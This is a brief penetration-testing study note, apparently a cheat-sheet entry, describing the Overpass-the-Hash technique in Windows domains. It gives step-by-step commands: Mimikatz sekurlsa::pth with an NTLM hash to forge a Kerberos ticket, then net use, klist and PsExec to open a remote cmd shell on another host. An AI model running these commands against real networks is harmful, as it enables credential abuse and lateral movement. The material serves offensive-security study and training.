4. Overpass-the-Hash

• Use NTLM user hash to gain full Kebreros Ticket Grantin Ticket (TGT), and then obtain Ticket Granting Service (TGS)
• Allows to pass NTLM hash to run services that requires Kerberos instead
• Requires:
  • Local admin privileges
  • NTLM hash of user

Overpass-the-Hash Remote Shell using Mimikatz:

1. Run Mimikatz and enable debug.
2. Create TGT:

sekurlsa::pth /user:<targetuser> /domain:<domain> /ntlm:369def79d8372408bf6e93364cc93075 /run:powershell

3. Obtain ticket by authenticating to network share:

net use \\files04

4. Analyze ticket:

klist

5. Run PsExec and launch cmd using ticket:

.\PsExec.exe \\files04 cmd